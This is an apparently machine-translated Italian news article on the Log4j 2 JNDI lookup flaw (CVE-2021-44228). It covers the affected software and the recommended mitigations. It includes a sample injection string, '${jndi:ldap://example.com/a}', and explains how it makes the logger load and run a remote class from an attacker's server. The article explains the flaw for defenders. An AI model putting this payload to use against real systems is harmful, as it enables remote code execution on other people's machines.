Recentemente sAbbiamo rilasciato la notizia che una vulnerabilità critica è stata identificata in Apache Log4j 2, che è caratterizzato come un framework popolare per l'organizzazione del registro nelle applicazioni Java, consentendo l'esecuzione di codice arbitrario quando un valore formattato in modo speciale viene scritto nel registro nel formato "{jndi: URL}".
Vulnerabilità È notevole perché l'attacco può essere eseguito in applicazioni Java cheRegistrano valori ottenuti da fonti esterne, ad esempio visualizzando valori problematici nei messaggi di errore.
Si osserva che quasi tutti i progetti che utilizzano framework come Apache Struts, Apache Solr, Apache Druid o Apache Flink sono interessati, inclusi Steam, Apple iCloud, client e server Minecraft.
Si prevede che la vulnerabilità porterà a un'ondata di attacchi massicci alle applicazioni aziendali, ripetendo la storia delle vulnerabilità critiche nel framework, Apache Struts, che è una stima approssimativa utilizzata nel 65% delle applicazioni Web Fortune 100. Elenco delle applicazioni Web dell'azienda inclusi i tentativi già registrati di scansionare la rete alla ricerca di sistemi vulnerabili.
La vulnerabilità consente l'esecuzione remota di codice non autenticato. Log4j 2 è una libreria di log Java open source sviluppata dalla Apache Foundation. Log4j 2 è ampiamente utilizzato in molte applicazioni ed è presente, come dipendenza, in molti servizi. Questi includono applicazioni aziendali e numerosi servizi cloud.
Il team di attacco Randori ha sviluppato un exploit funzionale ed è stato in grado di sfruttare con successo questa vulnerabilità negli ambienti dei clienti come parte della nostra piattaforma di sicurezza offensiva.
È possibile accedere alla vulnerabilità attraverso una moltitudine di metodi specifici dell'applicazione. In effetti, qualsiasi scenario che consente a una connessione remota di fornire dati arbitrari che un'applicazione che utilizza la libreria Log4j scrive nei file di registro è suscettibile di sfruttamento. È molto probabile che questa vulnerabilità venga sfruttata in natura ed è probabile che colpisca migliaia di organizzazioni. Questa vulnerabilità rappresenta un rischio reale significativo per i sistemi interessati.
Il problema è aggravato dal fatto che è già stato pubblicato un exploit funzionale, ad es.Ma le correzioni per i rami stabili non sono ancora state generate. L'identificatore CVE non è stato ancora assegnato. La soluzione è inclusa solo nel ramo di test log4j-2.15.0-rc1. Come soluzione alternativa per bloccare la vulnerabilità, si consiglia di impostare il parametro Log4j2.formatMsgNoLookups su true.
Il problema era dovuto al fatto che Log4j 2 supporta la gestione di maschere speciali «{}» nelle righe di registro, in quale È possibile eseguire query JNDI (Java Naming e interfaccia di directory).
Nell'analizzare CVE-2021-44228, Randori ha determinato quanto segue:
Le installazioni predefinite di software aziendale ampiamente utilizzato sono vulnerabili.
La vulnerabilità può essere sfruttata in modo affidabile e senza autenticazione.
La vulnerabilità interessa più versioni di Log4j 2.
La vulnerabilità consente l'esecuzione di codice in modalità remota quando l'utente esegue l'applicazione utilizzando la libreria.
L'attacco si riduce al passaggio di una stringa con la sostituzione "$ {jndi: ldap: //example.com/a}", elaborando la quale Log4j 2 invierà una richiesta LDAP per il percorso della classe Java al server attacker.com . Il percorso restituito dal server dell'attaccante (ad esempio, http://example.com/Exploit.class) verrà caricato ed eseguito nel contesto del processo corrente, consentendo all'aggressore di ottenere l'esecuzione di codice arbitrario sul sistema con i diritti dell'applicazione corrente.
Infine, si è detto che se si riscontrano anomalie, si consiglia di presumere che si tratti di un incidente attivo, che sia stato compromesso e di rispondere di conseguenza. L'aggiornamento alle versioni con patch di Log4j 2 o alle applicazioni interessate eliminerà questa vulnerabilità. Randori consiglia a qualsiasi organizzazione che ritenga possa essere interessata di eseguire urgentemente l'aggiornamento a una versione con patch.
Nell'ultimo aggiornamento del team Apache Log4j, raccomandare alle organizzazioni di fare quanto segue
- Aggiorna a Log4j 2.15.0
- Per coloro che non possono eseguire l'aggiornamento a 2.15.0: Nelle versioni> = 2.10, questa vulnerabilità può essere attenuata impostando la proprietà di sistema log4j2.formatMsgNoLookup o la variabile di ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS su true.
- Per le versioni dalla 2,0-beta9 alla 2.10.0, la mitigazione consiste nel rimuovere la classe JndiLookup dal classpath: zip -q -d log4j-core - *.Jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
fonte: https://www.lunasec.io/